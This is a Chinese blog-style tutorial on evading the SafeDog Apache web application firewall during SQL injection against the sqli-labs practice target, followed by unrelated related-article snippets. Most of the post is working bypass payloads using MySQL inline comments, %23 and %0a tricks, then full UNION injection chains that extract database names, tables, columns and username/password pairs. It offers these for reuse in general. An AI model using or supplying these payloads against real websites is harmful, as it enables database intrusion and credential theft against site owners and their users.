什么,有狗快跑!慢着,这次手把手教你怎么过安全狗!(sql注入篇)
前言
在记忆里上次绕安全狗还是在上次,开开心心把自己之前绕过狗的payload拿出来,发现全部被拦截了,事情一下子就严肃起来了,这就开整。
环境
本次环境如下sqli-lab的sql注入靶场
网站安全狗APACHE版V4.0版本的最高防护等级
绕过方法
首先先来分析分析以前以前绕过的Payload
-1' union/*!10440*/select 1,2,3--+
其中这里的10440数字经过fuzz可以替换的有如下
10440–10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等
但是在更新后的安全狗后这些payload已经全部被拦截
到这就不得不提提安全狗之前的匹配规则了,我们单独union不会被拦截
单独select也不会被拦截
但是union和select放一起组合就会被匹配出来,然后被安全狗所拦截
基于这个特性,我们利用之前的payload
-1' union/*!10440*/select 1,2,3--+
是可以绕过老版本的安全狗的,这里在union和select中间加入了一个/\*!10440\*/,众所周知在mysql中/\*!...\*/不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/\*!...\*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行
所以union/\*!10440\*/select等价于union select,且绕过了安全狗对union和select字符一起组合的检测
但是安全狗更新之后,所有的payload都已经失效,那么我们猜测一下,安全狗更新后是不是匹配union和select之间所有的字符,匹配到之后用空字符替换,再检测是否存在union select组合,为了验证这个猜测我们对我们的payload进行fuzz验证一下
跑了一些特殊的字符发现都被拦截
但是唯独有一个符号没有被返回的length长度不一样
按我们看看这个'#'会擦出什么爱情的火花
我们利用如下语句
?id=-1' union/*!test01#test02*/select 1,2,3--+
此处我们搞清楚一个流程,我们的语句发送过去,首先接收安全狗检测,安全狗检测到'#'号,所以'\#'后面的都会被截断抛弃,所以安全狗只能匹配到'\#'前的union,但是没匹配到'\#'后的select,所以通过安全狗。在通过安全狗后我们的语句被数据库接收,数据库此处处理过程和安全狗处理流程一样,都是只能匹配到'\#'前的union,但是没匹配到'\#'后的select,最终导致语句不完整导致最后的报错。
说到这里我们究竟要怎么去绕过这个可恶的安全狗呢,我们想象这么一个场景,首先我们的'\#'被安全狗识别,但是在我们的SQL语句中并不识别这个'\#',这样我们就可以达到绕过安全狗而且保持正确的SQL语句来实现我么的注入。
我们来看下下面两语句
SELECT * FROM number WHERE home_id =1 LIKE "[%23]";
SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;
此处SELECT * FROM number WHERE home_id =1 LIKE "[%23]";查出来一个空表
所以SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;相当于select * FROM number;
该语句是存在一个LIKE "[%23]",也正是这个LIKE "[%23]"让我们的SELECT * FROM number WHERE home_id =1成为一个空表。
那么这个语句有什么用的,可以发现我们的LIKE "[%23]"中有一个%23,众所周知\#的url编码是%23,那么这条语句带入到安全狗中,安全狗会不会识别这个\#呢,带着这样的猜想我们构造如下payload。
-1' like "[%23]" /*!10440union select*/ 1,2,3 --+
呜呜呜,还是被拦截了,吹牛逼吹了这么久,白吹了。
但是我这种阳光、帅气、善解人意且坚持不懈的小伙子会这么容易就放弃吗,显然不会,后面猜测是/\*!10440union select\*/中的union select被检测出来了,所以在union select中间下了点功夫,最终payload如下
-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
奈何无文化,一句卧槽走天下。
最后总结下安全狗的检测机制
首先整体语句做一个检测,这个检测也是最强最牛X的
'\#'后的语句虽然被截断,但截断之后并不是和我们最初想的那样完全不检测,'\#'截断的语句还是会被检测,只是检测规则相比第一次不同且相比第一次检测强度相比较弱,所以我们可以对其进行绕过。
当然除了like关键字,我们还可以使用如下payload
-1' or "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' regexp "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' /*%23*/ /*!10440union%0aselect*/ 1,2,3 --+
知道了这个特性接下来就,那就用这一招打过天下无敌手
爆数据库名和用户名
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),user(/*!10440%0a*/)--+
爆表名
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10440%0a*/)--+
爆字段
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(column_name) from/*%23*/information_schema.columns where table_schema=database(/*!10440%0a*/) /*!10440and*/ table_name='users'--+
爆字段中的值
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(username,password) from users--+
总结
1、内联yyds
2、在一些被拦截的地方多用/\*%23\*/和/\*!10440%0a\*/,有奇效。
什么,有狗快跑!慢着,这次手把手教你怎么过安全狗!(sql注入篇)的更多相关文章
- 我的第一款Cocos2d 游戏小狗快跑基本完成
- 【python游戏编程之旅】第九篇---嗷大喵快跑小游戏开发实例
本系列博客介绍以python+pygame库进行小游戏的开发.有写的不对之处还望各位海涵. 前几期博客我们一起学习了,pygame中的冲突检测技术以及一些常用的数据结构. 这次我们来一起做一个简单的酷 ...
- 原创跑酷小游戏《Cube Duck Run》 - - 方块鸭快跑
自从unity5出来才开始关注unity,业余时间尝试做了个小游戏: <方块鸭快跑> (Cube Duck Run) 像素风,3d视角,色彩明快,有无尽和关卡两种模式. 应用连接: goo ...
- LYK 快跑!(LYK别打我-)(话说LYK是谁)
LYK 快跑!(run) Time Limit:5000ms Memory Limit:64MB 题目描述 LYK 陷进了一个迷宫! 这个迷宫是网格图形状的. LYK 一开始在(1,1)位置, 出口在 ...
- LYK 快跑!(run)
LYK 快跑!(run)Time Limit:5000ms Memory Limit:64MB[题目描述] LYK 陷进了一个迷宫! 这个迷宫是网格图形状的. LYK 一开始在(1,1)位置, 出口在 ...
- Cocos2dx系列笔记7:一个简单的跑酷游戏《萝莉快跑》的消化(附下载)
懒骨头(http://blog.csdn.com/iamlazybone) 或许有天 我们羡慕和崇拜的人 因为我们的努力 也会来了解我们 说不定 还会成为好友 骨头喜欢这样与哲哲共勉 多少个夜晚 一张 ...
- canvas小程序-快跑程序员
canvas不用说html5带来的好东西,游戏什么的,么么哒 记得有一天玩手机游戏,就是一个跳跃过柱子那种,其实元素很简单啊,app能开发,借助html5 canvas也可以啊, 于是就开始了. -- ...
- 小步快跑的公司可以最简化操作直接通过log4net将日志写入ElasticSearch
很多小步快跑的公司,开发人员多则3-4个,面对巨大业务压力,日连夜的赶着上线,快速试错,自然就没时间搭建一些基础设施,比如说logCenter,但初期 项目不稳定,bug又多,每次都跑到生产去找日志 ...
- 神龟快跑,2016做的一款UWP游戏
神龟快跑,2016做的一款UWP游戏, 实际是H5页面, 用LAYA转AS3得到的 安装地址 https://www.microsoft.com/zh-cn/store/p/神龟快跑/9nblggh4 ...
随机推荐
- Metasploit生成木马入侵安卓手机
开始 首先你需要一个Metasploit(废话) Linux: sudo apt install metasploit-framework Termux: 看这里 指令 sudo su //生成木马文 ...
- python闭包函数&装饰器
一.函数引用 函数可以被引用 函数可以被赋值给一个变量 def hogwarts(): print("hogwarts") # hogwarts() # 函数调用 print(ho ...
- AOP操作-准备工作
AOP操作(准备) 1,Spring 框架中一般基于 AspectJ 实现AOP操作 (1)什么是 AspectJ *AspectJ 不是 Spring 组成部分,独立AOP框架,一般把 Aspect ...
- 带你十天轻松搞定 Go 微服务系列(六)
序言 我们通过一个系列文章跟大家详细展示一个 go-zero 微服务示例,整个系列分十篇文章,目录结构如下: 环境搭建 服务拆分 用户服务 产品服务 订单服务 支付服务(本文) RPC 服务 Auth ...
- 论文笔记——事件抽取之DMCNN
1.事件抽取介绍: 事件在不同领域中有着不同的含义,对于事件目前还没有统一的定义.在IE ( Information Extraction) 中,事件是指在某个特定的时间片段和地域范围内发生的,由一个 ...
- 关于笨蛋式病毒创作(CMD式)C++
对于病毒创作,有好多种原因:有想装逼的,想盗取信息的...... 任何理由千奇百出,有的在下面评论出来. 对于病毒创作,我可是既会有不会,只会乱写,回头一看,全错了. 我今天写的这篇博客就是面向于 ...
- CaCl2 项目介绍。
一 是什么? 中国自然语言处理(NLP)研究项目. 二 主要功能? 从互联网获取的大量文本数据,结合自研力量进行分析.将数据重新格式化为大量条目,目录,并根据金融行业分类标准对这些条目进行了分类. 三 ...
- jstl split 分割字符串?
1. 在已经获得数据的前提下,对数据进行分割,分割后的结果是一个数组,可以通过数组获得我们需要的数据 2. value 是获得值 需要${} 的方式获取, var 是设置变量. var = " ...
- gcc 11.2 在线升级
环境:centos 7 1.准备开发环境 $ yum groupinstall "Development Tools" $ yum install glibc-static lib ...
- HTML Entry 源码分析
简介 从 HTML Entry 的诞生原因 -> 原理简述 -> 实际应用 -> 源码分析,带你全方位刨析 HTML Entry 框架. 序言 HTML Entry 这个词大家可能比 ...